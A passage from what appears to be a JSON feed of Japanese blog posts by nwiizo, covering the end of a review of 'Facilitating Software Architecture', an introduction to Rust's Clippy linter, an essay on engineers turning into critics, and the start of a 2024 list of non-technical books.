to」プラクティスの導入です。これは権限移譲を具体化する効果的な方法です。チームメンバーが主体的に行動を起こせる環境を作ります。第四に「信頼してから検証する」アプローチです。失敗を許容し学習機会として捉える文化づくりが重要です。検証は必要ですがマイクロマネジメントは避けるべきです。モラルリーダーシップの重要性著者はモラルリーダーシップの継続的な必要性を強調します。技術的パフォーマンスへの影響は過大評価されがちですが組織の道徳的側面への影響は過小評価されています。モラルリーダーシップは多様性を保護し心理的安全性を促進します。これは分散型アーキテクチャの実践において重要です。パワーバランスの偏りを防ぎ幅広い声が貢献できる環境を維持します。実践的な示唆著者の提案は現代のソフトウェア開発組織に重要な示唆を与えます。注目すべきはリーダーシップを特定の役職や個人に固定化しないという考え方です。組織の成長とともにリーダーシップも進化させる必要があります。継続的な学習とフィードバックを重視する文化づくりも重要です。失敗を恐れず実験と改善を繰り返すサイクルを確立することで組織全体の能力が向上します。結論本章は分散型アーキテクチャにおけるリーダーシップの新しいモデルを提示しています。Leader-Leaderアプローチとモラルリーダーシップの組み合わせは現代のソフトウェア開発組織に適した枠組みを提供します。重要なのはリーダーシップを学習可能なスキルとして捉える視点です。これは組織の持続的な成長と進化を支える基盤となります。今後の組織運営においてはこれらの知見を活かし分散型でありながら一貫性のある技術戦略を実現することが求められます。Chapter 17. Fitting the Advice Process Within Your Organization第17章「Fitting the Advice Process Within Your Organization」は、アーキテクチャ・アドバイスプロセスを既存の組織構造に統合する方法について深く掘り下げています。著者は組織の境界とその接点に注目し、分散型アーキテクチャ実践を組織全体に効果的に適用するための具体的な指針を提供しています。ソフトウェアエンジニアリングのサブカルチャー著者はまずソフトウェアエンジニアリング部門の独自性に着目します。伝統的な組織文化とは異なる特性を持つソフトウェア開発において、アドバイスプロセスは自然な形で受け入れられる可能性が高いと指摘します。注目すべきはソフトウェア開発の4つの特徴です。標準的な製品開発モデルとの違い、変化の速度、組織との接点の少なさ、そして既に受け入れられている文化的な違いです。これらは以前関わった大規模プロジェクトでも、ソフトウェア開発チームは他部門とは異なる働き方を自然に確立していました。アドバイスプロセスバブルの概念著者はアドバイスプロセスバブルという概念を提示します。このバブルは分散型実践のための明確な境界を持つ空間として機能します。Figure 17-1はバブルの基本的な構造を示しており、組織の他の部分との関係性を明確にします。Figure 17-1. An advice process bubble where teams practice the advice process, surrounded by the rest of the organization where everything continues as usual より引用バブルは完全に独立しているわけではありません。むしろ組織との適切な接点を維持しながら、内部の自律性を確保する仕組みとして機能します。私のチームでもこのアプローチを採用し、組織全体との調和を保ちながら独自の開発文化を育てることができました。バブルの成長と分割バブルの成長には慎重なアプローチが必要です。著者は段階的な成長と適切なタイミングでの分割を推奨します。Figure 17-2は分割後のバブル構造を示しており、組織とのインターフェースをどう維持するかが明確に示されています。Figure 17-2. An additional circle with responsibilities for linking into the wider organization’s performance management process has been added to the advice process bubble より引用重要なのはバブル分割の判断基準です。信頼関係の低下、意思決定の遅延、不必要な情報共有の増加などが分割のシグナルとなります。あるプロジェクトでは規模の拡大に伴いコミュニケーションコストが増大し、結果として2つのバブルに分割することで効率が改善しました。組織との期待値の管理著者は組織からの期待に対する適切な対応の重要性を強調します。明示的な期待と暗黙的な期待の区別が重要です。要件の達成や透明性の確保といった明示的な期待に加えて、階層的な質問への対応や適切なスキルの確保といった暗黙的な期待にも注意を払う必要があります。この観点は実務上極めて重要です。私のチームでも組織の期待を明確に理解し対応することで、分散型実践の価値を示すことができました。定期的なステータス報告や成果の可視化は、組織との信頼関係構築に大きく貢献しました。結論アドバイスプロセスの組織への適合は継続的な取り組みを必要とします。著者はバブルの独自性を保護しながら組織との調和を図ることの重要性を強調します。これは単なる技術的な課題ではなく、組織文化の変革を伴う取り組みです。このアプローチは現代のソフトウェア開発組織に極めて有効です。マイクロサービスアーキテクチャやDevOpsの実践において、チームの自律性と組織全体の整合性のバランスを取る際に役立ちました。今後の課題としては、リモートワークの普及やグローバル開発の加速に伴う新たな組織的課題への対応が考えられます。しかし著者が示した原則と実践的なアプローチは、これらの課題に対しても有効な指針となるはずです。おわりに実は本書を最初に読んだのは11月でした。読了後すぐに、この本の内容が字分の人生の年末の振り返りや自身の職務経歴書の更新と似ているなぁって思って、書評自体は年末年始に書こうと決めました。その間、折に触れて内容を整理し、メモを取り続けていましたが、実際の執筆は結局大晦日までずれ込んでしまいました。しかし、この「遅さ」が逆に、一年を通じての経験と本書の内容を結びつける機会を与えてくれたように思います。本書「Facilitating Software Architecture」を通じて、私たちは分散型アーキテクチャにおける実践的アプローチを学んできました。印象的だったのは、アーキテクチャの実践が単なる技術的な設計にとどまらず、組織文化や人間関係の深い理解を必要とすることです。本書の核心は、アーキテクチャを「共創的な営み」として捉える視点にあります。伝統的な中央集権型アプローチから分散型への移行は、単なるプロセスの変更以上の意味を持ちます。それは組織全体の思考様式の転換であり、新しい形の協働を生み出す試みです。アーキテクチャ・アドバイスプロセスとADR(Architecture Decision Records)は、この新しいアプローチを支える具体的な実践として重要です。これらは意思決定の透明性を高め、組織の学習を促進する強力なツールとなります。同時に、Technology RadarやWalking Skeletonといった手法は、不確実性の高い環境での実践的な指針を提供してくれます。しかし、最も重要なのは「信頼」を基盤とした組織文化の醸成です。分散型アーキテクチャの成功は、技術的な卓越性だけでなく、組織メンバー間の深い信頼関係に依存します。本書を通じて学んだ様々なプラクティスも、この信頼関係があってこそ効果を発揮するものです。この一年間、私自身が経験した技術への意欲の喪失と回復の過程は、本書の内容と深く共鳴するものでした。個人としてもチームとしても、時には立ち止まり、基本に立ち返ることの重要性を再認識させてくれます。心身の健康に意識を向け、純粋な楽しみの時間を大切にすることは、持続可能な開発文化の基盤となるでしょう。これからのソフトウェア開発は、さらなる複雑性と不確実性に直面することでしょう。しかし、本書で示された分散型アプローチと、それを支える様々な実践は、これらの課題に立ち向かうための強力な武器となるはずです。個人としても組織としても、継続的な学習と適応を重ねながら、より良いソフトウェア開発の実現を目指していきたいと思います。2024年もみなさん、最後まで読んでくれて本当にありがとうございます。途中で挫折せずに付き合ってくれたことに感謝しています。読者になってくれたら更に感謝です。Xまでフォロワーしてくれたら泣いているかもしれません。","isoDate":"2024-12-31T14:25:46.000Z","dateMiliSeconds":1735655146000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"Clippyのすすめ - 他者の評価を気にせず何度でも指摘してくれる機械もしくは注意力の限界を超えてケアをしてくれる機械","link":"https://syu-m-5151.hatenablog.com/entry/2024/12/27/170046","contentSnippet":"はじめにプログラミングを学ぶ上で、良いコードの書き方を知ることは非常に重要です。今回は、Rustで良いコードを書くための強力な味方、Clippyについて学んでいきましょう。プログラミング初心者の方から、他の言語からRustに移ってきた方まで、きっと新しい発見があるはずです。私も最近、Rustに関する素晴らしい本を読んでいます。「Effective Rust」と「Idiomatic Rust」は、Rustらしい書き方やデザインパターンについて詳しく解説していて、とても勉強になります。ただ、正直なところ、本を読んだだけでは私自身なかなか良いコードが書けず、ツールでのレビューで「これRustらしくないよね」とよく指摘されています。そのたびに勉強させられています。きっと同じような経験をされている方も多いのではないでしょうか。Idiomatic Rust: Code like a Rustacean (English Edition)作者:Matthews, BrendenManningAmazonEffective Rust: 35 Specific Ways to Improve Your Rust Code (English Edition)作者:Drysdale, DavidO'Reilly MediaAmazonそんな中で私の強い味方になっているのが、今回紹介するClippyです。本で学んだ内容を実践しようとするとき、Clippyは具体的なアドバイスをくれる、とても親切な存在です。特に「ここがRustらしくない」と言われたときの改善方法を、実例を挙げて教えてくれるのが心強いです。rust-lang.github.ioRust 標準 linter: Clippyプログラミング言語には、よくある間違いや非推奨の書き方をチェックして警告を発してくれる、lintというプログラムがあります。元々はC言語をチェックするものでしたが、現在では様々な言語のためのlinterが作られています。Lint Nightなんてイベントもあります。lintnight.connpass.comRustには言語標準のlinterがあり、その名をclippyと言います。使い方は極めて簡単で、cargoツールチェインがインストールされていれば、下記のようにインストールして、$ rustup component add clippy下記のコマンドをcrateのフォルダで実行するだけです。$ cargo clippyClippyのlinterとしての特徴linterはコードの品質を向上するために、多くの現場で使われているツールですが、実際には厳しすぎるルールや、実際の問題にそぐわないものも多くあります。これを偽陽性(false positive)の検出と呼びます。通常は設定ファイルや特殊なコメントをコードに埋め込むことによって、特定のlintの有効・無効を切り替えることになります。これは無視できない労力で、linterのバージョンを更新するたびに新たなルールに対応する必要が出てきたり、コメントによってコードが汚くなったりするデメリットもあります。Clippyの特徴は、デフォルトの設定でもそのような偽陽性の警告が少なく、実際にコードの品質が向上したり、プログラマとしての知識が得られるのを実感できるような警告が多いということです。実践的な例例えば、次のような関数を見てください:fn sum_squares(values: &Vec) -> i32 { values.iter().fold(0, |acc, value| acc + value * value)}この関数は問題なく動きますが、Idiomatic Rust(慣用的なRustコード)ではありません。Clippyは、次のような親切な警告を出してくれます:Checking test001 v0.1.0 (/Users/nwiizo/git/workspace_2024/clippy/test001)warning: writing `&Vec` instead of `&[_]` involves a new object where a slice will do --> src/main.rs:1:24 |1 | fn sum_squares(values: &Vec) -> i32 { | ^^^^^^^^^ help: change this to: `&[i32]` | = help: for further information visit https://rust-lang.github.io/rust-clippy/master/index.html#ptr_arg = note: `#[warn(clippy::ptr_arg)]` on by defaultこれは、&Vecよりも&[]のほうが汎用性が高いということを教えてくれています。Vecは&[T]に暗黙に変換されるので、わざわざVecで宣言するということは、使える範囲を狭めるだけで何のメリットもないのです。この関数は、機能性を全く損なわずに、次のように書き直すことができます:fn sum_squares(values: &[i32]) -> i32 { values.iter().fold(0, |acc, value| acc + value * value)}ミュータブル参照の場合ところで、引数の型がミュータブル参照であった場合は話が別です。&mut Vecと&mut [T]ではできることが異なります。次のように、引数のベクター型のサイズを変えるような関数は、ミュータブルスライスで置き換えることはできません:fn append_square(values: &mut Vec) { values.push(values.iter().fold(0, |acc, value| acc + value * value));}// 使用例let mut vv = vec![1,2,3];append_square(&mut vv);assert_eq!(vec![1,2,3,14], vv);このため、Clippyはミュータブル参照に対しては警告を発しません。これは、Clippyが文脈を理解して適切な判断を下せることを示す良い例です。neovim/nvim-lspconfig での設定VSCodeやCursor は知らないがこちらの設定でneovim は設定できる。 { \"neovim/nvim-lspconfig\", config = function() require(\"nvchad.configs.lspconfig\").defaults() local lspconfig = require \"lspconfig\" lspconfig.rust_analyzer.setup { settings = { [\"rust-analyzer\"] = { checkOnSave = { command = \"clippy\", extraArgs = { \"--all\", \"--\", \"-W\", \"clippy::all\" }, }, }, }, } require \"configs.lspconfig\" end, },おわりにClippyは、より良いRustプログラムを書くことができるように導いてくれる、優しい先生のような存在です。もちろん、Clippyも完璧ではなく、時には偽陽性の検出もありますが、それは人間でも同じことです。より良いRustの書き方を学び、コードの品質を向上させ、プログラミングの知識を深められるClippyは、人間のレビュアーとは違って何度指摘されても評価が下がることのない、心強い味方となってくれます。という利点があります。ぜひ、みなさんも日々のRustプログラミングにClippyを取り入れてみてください。疑問に思ったClippyの警告は、その都度調べてみることをお勧めします。そうすることで、Rustの理解がより深まっていくはずです。Effective Rustに関しては日本語の本が出ているので興味があれば読んでみても良いと思う。Effective Rust ―Rustコードを改善し、エコシステムを最大限に活用するための35項目作者:David Drysdaleオーム社Amazon個人的に良かった記事qiita.comkenoss.github.io業務 におけるRust の記事を読んだがどちらの記事もとても良かった。","isoDate":"2024-12-27T08:00:46.000Z","dateMiliSeconds":1735286446000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"「評論家気取り」という作る人の行き着く先が怖い","link":"https://syu-m-5151.hatenablog.com/entry/2024/12/27/144509","contentSnippet":"らーめん再遊記 第一巻より引用らーめん再遊記(1) (ビッグコミックス)作者:久部緑郎,河合単小学館Amazonはじめに技術界隈には、長年続いている不穏な現象があります。コードを書くことに情熱を注いでいた人々が、いつの間にか他人の成果物を論評することに執心するようになってしまうのです。なぜ私たちは燃え尽きてしまうのか作者:ジョナサン マレシック青土社Amazonこの現象は、特にベテランと呼ばれるエンジニアたちの間で顕著です。彼らは確かな技術力を持ち、素晴らしい成果を残してきました。しかし、彼らの多くが、創造者から評論家への転身!?を遂げつつあります。仕事の辞め方 (幻冬舎単行本)作者:鈴木おさむ幻冬舎Amazon実は私たちエンジニアは皆、いずれ評論家になる運命を背負っているのかもしれません。年を重ね、技術の第一線から遠ざかるにつれ、「作る」ことから「評論する」ことへと、その重心を少しずつシフトさせていきます。それは半ば必然であり、誰もが通る道なのでしょう。だからこそ、今、この問題について考えたいと思います。これは、いずれ評論家になるかもしれない私自身への警告であり、そして自戒の言葉でもあります。実装者から評論家へ。エンジニアの変質を、私は憂慮しています。この静かな変化について、正面から向き合ってみましょう。作る側が評論に逃げるとき「このコードは素人レベルで時代遅れです。基礎から学び直してください」「アーキテクチャへの理解が浅く、重要な議論が抜け落ちています」「技術選定の根拠が説明されておらず、設計思想が古いままです」「なぜあのライブラリやアーキテクチャに触れていないのですか。初歩的な見落としです」SNSには辛辣な評論・批評が溢れ、技術ブログには高圧的な論評が並び、カンファレンスの裏チャンネルは批判で充満しています。最も危惧すべきは、これらの評論・批評の多くが、かつては優れたコードを生み出していたはずのエンジニアたちから発せられているということです。問題なのは、これらの言説が建設的な議論を装いながら、実際には単なる批判に終始している点です。 改善案を示すわけでもなく、プルリクエストを送るわけでもなく、ただ「ダメ出し」だけを繰り返しています。これは技術的な議論ではなく、単なる自己顕示でしかありません。アイデアのつくり方作者:ジェームス W.ヤングCCCメディアハウスAmazon自意識が一流評論家になってしまったかつて天才だったエンジニアXのタイムラインには、自らを一流評論家だと思い込んだエンジニアたちが目立っています。「この実装は素人レベルです。こんなコードしか書けない人は、基礎から学び直すべきです」—そう断罪するのです。 しかし、彼ら自身は数年前の自分のコードを振り返ってみたことがあるでしょうか。あるいは最近では、実装よりもメンテナンス業務が中心になってはいないでしょうか。かつての優秀なエンジニアたちは、初学者への指摘だけでは飽き足らず、すでに実績のあるエンジニアたちにまで批判の矛先を向けています。有名OSSのプルリクエストには「この設計は時代遅れです。モダンな設計パターンを学んでから出直してください」と高圧的なコメントを残し、技術ブログに対しても「この技術選定の根拠が説明されていません」「重要な議論が抜け落ちています」と、まるで査読者のような態度で指摘を繰り返します。さらに気がかりなのは、オープンソースのイシューやプルリクエストへの不建設的な態度です。具体的な改善案を示すことなく、ただ問題点の指摘だけを行うのです。「なぜこの設計を選んだのですか?」「この実装では不十分です」という批判は、具体的な改善案を伴わない限り、何の価値も生み出せません。評論家気取りのポストで注目を集める快感に魅了されたエンジニアは、徐々に変質していきます。最初は些細な技術的指摘から始まり、「いいね」という承認欲求に駆られ、その評論は次第に厳しさを増していくのです。「なぜこの技術スタックを選んだのですか?」「なぜこの設計パターンを採用しなかったのですか?」—まるで面接官のように、実装者を追い詰める質問を投げかけ始めます。そして最も懸念すべきは、若手エンジニアの成長機会が損なわれていくという事実です。建設的なフィードバックの代わりに投げかけられる批判は、若手の挑戦する意欲を削ぎ、コミュニティへの貢献を躊躇させています。時には、自身を技術界の権威だと思い込んだエンジニアが、若手たちの真摯な努力までも批判の対象としてしまうのです。評論は衰退の始まりエンジニアが評論家めいた物言いを始めるとき、それは衰退の予兆かもしれません。ただし、適切な評論や建設的な批判は、技術の発展に不可欠な要素でもあります。レビューやフィードバックを通じて、実装の品質は向上し、よりよい設計が生まれていきます。問題なのは、創造的な貢献を伴わない批判に終始してしまうことです。創造者には創造者としての責務があります。コードに不満があるならば、改善のプルリクエストを送ることができます。ドキュメントが不十分と感じるなら、具体的な改善案を示すことができます。アーキテクチャが気に入らないのであれば、より優れた実装を示す機会が開かれています。発表内容に不満があるというのなら、自らが登壇する選択肢もあります。これは単なる理想論ではありません。優れたエンジニアたちは、常にこの原則に従って行動してきました。彼らは単なる批判ではなく、コードで語ります。問題点の指摘だけではなく、改善案の実装を示します。時には厳しい指摘も必要ですが、それは常により良い方向への具体的な提案を伴うものでなければなりません。評論と批判は、建設的な議論の土台となり得ます。しかし、それは実装による貢献があってこそ意味を持つのです。評論家として批判するだけでなく、創造者として具体的な改善を示していく—それこそが、エンジニアの進むべき道筋なのではないでしょうか。みんなのフィードバック大全作者:三村 真宗光文社Amazonなぜ評論に逃げるのか実のところ、その理由は複雑に絡み合っています。一見すると創造する意欲が失われていくように見えますが、その背景にはさまざまな要因が存在します。まず、技術の進化スピードが年々加速していることが挙げられます。かつて最先端だった技術スタックは、わずか数年で「レガシー」と呼ばれるようになります。新しい技術への追従に疲れ、自信を失っていく—そんなベテランエンジニアの姿を、私たちは目にしてきました。また、組織の中での役割の変化も大きな要因となります。マネジメントやアーキテクトの立場になると、直接コードを書く機会が減っていきます。それは自然なキャリアパスかもしれませんが、同時に「作る」喜びから遠ざかることも意味します。さらに、以前の自分を超えられないという焦りもあるでしょう。若かりし頃に作り上げた素晴らしいプロダクトやライブラリ。その成功体験が重荷となり、新しいチャレンジを躊躇させることもあります。過去の栄光に縛られ、新たな失敗を恐れる—そんな心理が、評論という安全な場所への逃避を促します。そして、評論には誘惑があります。技術ブログへの評論記事は数時間で書け、発表資料への批判は数分で完結し、SNSなら数行のポストで事足ります。実装を伴う苦労も、メンテナンスの責任も、失敗のリスクも必要ありません。最も注意すべきは、その行為が「いいね」という即時の報酬と、表面的な自己肯定感をもたらすことです。賢明な分析家として認められ、技術の識者として扱われる。この心地よさが、さらなる評論への逃避を促していきます。他者への批判で得られる一時的な優越感は、しかし、本当の自己肯定感とは異なります。 建設的な創造による達成感こそが、エンジニアの誇りとなるべきものです。時には、組織の文化や環境も影響します。過度な品質要求や、失敗を許容しない雰囲気は、エンジニアを萎縮させ、批評家的な立場に追いやってしまうことがあります。新しいことへの挑戦よりも、既存のものを批評する方が「安全」だと感じてしまうのです。この悪循環は、技術コミュニティ全体に影響を及ぼします。建設的な議論が減少し、若手の挑戦する意欲が失われ、コミュニティの分断が進んでいきます。評論は容易でも、実際の改善は誰も行わない—そんな状況に陥っているのです。しかし、これは決して避けられない運命ではありません。技術の変化を恐れず、小さな一歩から始める勇気を持つこと。過去の成功や失敗にとらわれすぎず、新しい挑戦を続けること。そして何より、評論家としての安易な満足に甘んじないこと。それが、創造者としての道を歩み続けるための鍵となるのではないでしょうか。批評の教室 ──チョウのように読み、ハチのように書く (ちくま新書)作者:北村紗衣筑摩書房Amazon作る側の矜持エンジニアの本質的価値は、創造する能力にあります。 しかし、それは建設的な評論の価値を否定するものではありません。むしろ、創造と評論のバランスを保つことこそが、真のエンジニアとしての成熟を示すのかもしれません。不満な実装を見つけたのなら、より良いコードで示していきましょう。しかし、それは時として現実的ではないこともあります。そんなとき、具体的で建設的で受け入れやすいフィードバックは、それ自体が価値ある貢献となり得ます。資料に物足りなさを感じたのなら、自らより良い資料を書いていきましょう。ただし、すべての領域で自ら書き直すことは不可能です。そこでは、経験に基づいた示唆に富む指摘が、コミュニティの発展を支えることになります。エンジニアの成長は、実装による具体的な貢献を通じて実現されます。しかし、それは単独の作業ではありません。建設的なフィードバックの交換、経験の共有、そして時には適切な批評—これらの相互作用が、より良い実装を生み出す土台となります。重要なのは、創造と評論の適切なバランスです。他者のコードを批判するだけでなく、具体的な改善案を示すことができます。時には成果を否定したくなることもあるでしょうが、それを建設的なフィードバックへと昇華させることが大切です。また、自身の実装経験に基づいた説得力のある指摘は、コミュニティの発展に大きく寄与します。特に若手エンジニアに対しては、その成長を支援する温かい指摘を心がけたいものです。SNSでの浅薄な承認に価値を見出すのではなく、実装と建設的な評論の両輪で、技術コミュニティの発展に貢献していきましょう。それこそが、経験を積んだエンジニアとしての責務なのではないでしょうか。創造の喜びを忘れず、同時に適切な評論の価値も理解する—その両方を備えることで、私たちは真のエンジニアとしての成長を続けることができるのです。そして、それこそが技術コミュニティ全体の発展につながっていくはずです。批評理論を学ぶ人のために世界思想社Amazonおわりに「この文章自体も、評論ではないでしょうか」—そんな声が聞こえてきそうです。その通りです。私たちは、いずれ評論家になる運命から完全に逃れることはできないのかもしれません。年を重ねていったり、第一線を離れていく中で、評論的な視点は自然と身についていきます。それは、ある意味で技術者としての成熟の一面なのかもしれません。しかし、それでも私たちには選択の余地があります。評論に溺れるのか、それとも最後まで創造を続けるのか。私は後者を選びたいと思います。だからこそ、この文章を書き終えたら、すぐにコードを書きます。 プルリクエストを送り、ドキュメントを改善します。たとえ疲れてしまって楽な評論的な視点を持ったとしても、それを建設的な創造へと昇華させる努力を続けていきます。エンジニアは、創造することで価値を示せます。評論だけでは、成長は望めません。私たちは、作ることで命をつなぎます。 評論家という名の死に屈することなく。ついでにGitHubでもフォローしてくれ⋯github.com","isoDate":"2024-12-27T05:45:09.000Z","dateMiliSeconds":1735278309000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"2024年 俺が愛した本たち 非技術書編(物語を除く)","link":"https://syu-m-5151.hatenablog.com/entry/2024/12/25/084801","contentSnippet":"この記事は、3-shake Advent Calendar 2024 6日目のエントリ記事です。はじめにこんにちは、nwiizoです。2024年も終わりに近づいています。毎年恒例となった年末の読書振り返りの時期が来ました。今年はいつも以上に多くの本を読みましたが、その中でも技術書以外の本との出会いが、私の世界を大きく広げてくれました。哲学書、ビジネス書、社会科学書など、多岐にわたるジャンルの本に触れることで、新しい視点や考え方を学ぶことができました。なお、今回は物語やノンフィクションについては別の機会に譲り、主にビジネスや思考に関する本を中心にご紹介させていただきます。一見エンジニアリングとは関係のない本の中に、日々の仕事や課題解決に活かせるヒントが数多く隠れていることに気づかされた一年でもありました。本を読むことは知識を得るだけでなく、物事を多角的に捉える力を育んでくれます。様々な分野の本に触れることで、自分の思考の幅が広がり、新しいアイデアや解決策が浮かぶようになってきたように感じています。...とここまで偉そうに書きましたが、実際のところ私は「へぇ~、そうなんだ」とか「なるほど、そういう考え方もあるのか」くらいの気持ちで本を読んでいます。この記事では、2024年に私の心に深く刻まれた非技術書をご紹介したいと思います。これらの本との出会いが、読者の皆さんの新たな読書体験のきっかけになれば幸いです。はじめに昨年以前に紹介した本BIG THINGS どデカいことを成し遂げたヤツらはなにをしたのか?High Conflict よい対立 悪い対立 世界を二極化させないために「怠惰」なんて存在しない 終わりなき生産性競争から抜け出すための幸福論THINK BIGGER 「最高の発想」を生む方法「何回説明しても伝わらない」はなぜ起こるのか? 認知科学が教えるコミュニケーションの本質と解決策イシューからはじめよ[改訂版]――知的生産の「シンプルな本質」会って、話すこと。――自分のことはしゃべらない。相手のことも聞き出さない。人生が変わるシンプルな会話術勘違いが人を動かす――教養としての行動経済学入門おわりに昨年以前に紹介した本syu-m-5151.hatenablog.comsyu-m-5151.hatenablog.comsyu-m-5151.hatenablog.comsyu-m-5151.hatenablog.comBIG THINGS どデカいことを成し遂げたヤツらはなにをしたのか?世間を賑わせたメガプロジェクトの成功と失敗について掘り下げた本です。何が面白いって、メガプロジェクトというのはほぼ確実に上手くいかないのです。予算はオーバーし、納期は遅れ、最後には利益も出ない。しかも規模が大きいだけに、失敗のインパクトも半端ない。でも、そんな中でもたまに劇的に成功するプロジェクトがある。本書は、その差は一体どこにあるのかを探っています。著者が紹介する成功への要因は意外とシンプルです。「ゆっくり考え、すばやく動く」という原則や、「レゴを使ってつくる」という具体的な可視化の手法、「マスタービルダーを雇う(専門家を頼る)」といった実践的なアプローチが示されています。実は、この本の面白さは二重構造になっています。壮大なプロジェクトの成功と失敗の物語として読むと純粋に面白いのですが、自分が経験したことがあるプロジェクトに重ねて読むと...(ちょっと考え込む)まあ、そこは各自の想像にお任せします。特に印象的だったのは、大規模プロジェクトの教訓が、実は小規模なプロジェクトにも当てはまるという指摘です。例えば「小さく試し、成功したら拡大する」というアプローチは、ビジネスからアート、果ては生物の進化まで、不確実性と向き合うあらゆる分野で見られる原則なんですよね。何か新しいことに挑戦しようと考えている人には、特におすすめの一冊です。ただし、現在進行形でプロジェクトの真っ只中にいる人は、読むタイミングを少し考えた方がいいかもしれません。なんてったって、成功率0.5%という現実を突きつけられますからね。BIG THINGS どデカいことを成し遂げたヤツらはなにをしたのか?作者:ベント・フリウビヤ,ダン・ガードナーサンマーク出版AmazonHigh Conflict よい対立 悪い対立 世界を二極化させないために対立には2つの種類があるということを、この本は教えてくれます。健全な対立は、私たちの成長を促し、相互理解と向上につながります。一方で、不健全な対立(ハイコンフリクト)は、「私たち対彼ら」という二項対立に陥り、問題の本質とは関係のない揚げ足取りや感情的な対立を引き起こします。読んでいて特に対立は感情の問題ではなく、構図の問題だという指摘が印象に残りました。私たちは「相手の感情を変えなければ」と思いがちですが、実は解決すべきは対立という構造そのものなんですね。本書が提案する解決策も興味深いものでした。従来の「逃げる」「戦う」「我慢する」という3つの方法ではなく、第四の道を示してくれます。それは、最終的な意見の一致を目指すのではなく、お互いの話に真摯に耳を傾けること。意見は違っていても、自分の話をちゃんと聞いてもらえたと全員が感じられれば、それが健全な対話への第一歩になるというわけです。読んでいて「よい対立」というのは、実は「よい対話」のことなのかもしれないと思いました。相手と自分の違いを楽しみながら、お互いの考えを知ろうとする姿勢。それが結果的に、建設的な関係性を築くヒントになるのではないでしょうか。ダイアローグ 価値を生み出す組織に変わる対話の技術作者:熊平美香ディスカヴァー・トゥエンティワンAmazonただし、これは理想論に聞こえるかもしれません。実際の現場では、感情的になったり、相手の話を遮ってしまったりすることは日常茶飯事です。でも、だからこそ、この本が教えてくれる対立の構造を理解し、より良い対話を目指すヒントは、とても価値があると感じました。High Conflict よい対立 悪い対立 世界を二極化させないために作者:アマンダ・リプリーディスカヴァー・トゥエンティワンAmazon「怠惰」なんて存在しない 終わりなき生産性競争から抜け出すための幸福論「休むこと」に罪悪感を覚える社会の呪縛について、深い洞察を投げかける一冊です。著者は、「怠惰は悪である」という私たちの思い込みが、実は資本主義社会が生み出した幻想だと指摘します。人の価値は生産性では測れないという当たり前だけど忘れがちな事実です。「もっとできるはずだ」「自分の限界を信じるな」といった私たちが \"真実\" だと思い込んでいる考えが、実は \"ウソ\" かもしれないと思わされます。働くということ 「能力主義」を超えて (集英社新書)作者:勅使川原真衣集英社Amazon特に印象的だったのは、休息は \"サボり\" ではなく、むしろ脳を活性化させる大切な時間だという指摘です。何もしていないように見える時間こそ、実は新しいアイデアが生まれる瞬間だったりします。実はこれは、近年増加している燃え尽き症候群の問題とも深く関係しています。休むことを後ろめたく感じ、常に生産的でなければならないというプレッシャーは、私たちのメンタルヘルスに大きな影響を与えているのです。心療内科医が教える本当の休み方作者:鈴木 裕介アスコムAmazonこれは昨年話題になった『なぜ私たちは燃え尽きてしまうのか』という本でも指摘されていました。バーンアウトは単なる個人の弱さの問題ではなく、仕事が私たちのアイデンティティそのものになってしまっているという、現代社会の構造的な問題なのだと。なぜ私たちは燃え尽きてしまうのか作者:ジョナサン マレシック青土社Amazon実は私も、「もっと頑張れるはずだ」と自分を追い込むタイプでした。でも、そんな生き方って本当に正しいのかな?と考えるきっかけをくれた本です。生産性や成果だけが人生の価値を決めるわけじゃない。この当たり前の事実に、改めて気づかされました。この本は、急がなくていい、そんなに頑張らなくていいと、優しく語りかけてくれます。そして、それは決して「怠けていい」という意味ではなく、むしろ自分らしく、人間らしく生きるための大切な気づきなのだと教えてくれるのです。「怠惰」なんて存在しない 終わりなき生産性競争から抜け出すための幸福論作者:デヴォン・プライスディスカヴァー・トゥエンティワンAmazonTHINK BIGGER 「最高の発想」を生む方法この本は、私たちの「創造性」に対する多くの思い込みを覆してくれる一冊です。「天才のひらめき」という美しい物語は、実は幻想かもしれないという衝撃的な指摘から始まります。著者によれば、イノベーションの本質は「新しいアイデアを無から生み出すこと」ではなく、「既存のアイデアを新しく組み合わせること」なのだそうです。例えば、ピカソが天才的なアーティストとされるのは、同時代の画家マティスとアフリカのビリ人による彫像を巧みに組み合わせて、キュビスムという新しい芸術様式を生み出したからなんですね。この点について、私は広告界の巨人ジェームス・W・ヤングの『アイデアのつくり方』(1940年)から学びました。ヤングは「新しいアイデアとは、既存の要素の新しい組み合わせ以外の何物でもない」と述べています。そして私は、その組み合わせを見つけるには、事物の関連性を見つけ、組み合わせを試行錯誤することが重要だと考えています。アイデアのつくり方作者:ジェームス W.ヤングCCCメディアハウスAmazon特に印象的だったのは、私たちが「創造性を高める」と信じている方法の多くが、実は科学的な根拠に欠けているという指摘です。ブレインストーミングの効果は研究で否定されているとか、オフィス空間を奇抜にしても創造性は上がらないとか。むしろ大切なのは、様々な素材を一つ一つ心の解像度を上げて捉え、向き合うこと。そして、それらの関係性を探り出すことなのです。著者は、アイデアの創造プロセスについて興味深い観察を示してくれます。何気ない見聞き、例えば電車に乗っているとき、風呂に入っているとき、トイレのときなど、ふとした瞬間にアイデアが心の中で飛び込んでくる。でも、これは実は偶然ではなく、それまでの地道な素材集めと向き合いの結果なんだそうです。THINK BIGGER 「最高の発想」を生む方法:コロンビア大学ビジネススクール特別講義 (NewsPicksパブリッシング)作者:シーナ・アイエンガーニューズピックスAmazonこの本は、世の中に溢れている「創造性神話」を丁寧に解きほぐしながら、誰もが実践できる方法論を示してくれます。アイデアを生むには、まず問題を無意識の中で整理し、忘れたような状態にすることも大切なんですね。そして何より、「天才のひらめき」を待つのではなく、地道に知識を蓄え、既存のアイデアを組み合わせていく。そんな着実なアプローチこそが、実は最も創造的な方法なのかもしれません。「何回説明しても伝わらない」はなぜ起こるのか? 認知科学が教えるコミュニケーションの本質と解決策コミュニケーションの失敗の原因を、認知科学の視点から解き明かしてくれる一冊です。著者は、「話せばわかる」という私たちの思い込みが、実は幻想かもしれないと指摘します。人は自分の都合のいいように誤解する生き物だという指摘です。これは、相手が「悪意を持って誤解している」わけではなく、むしろ 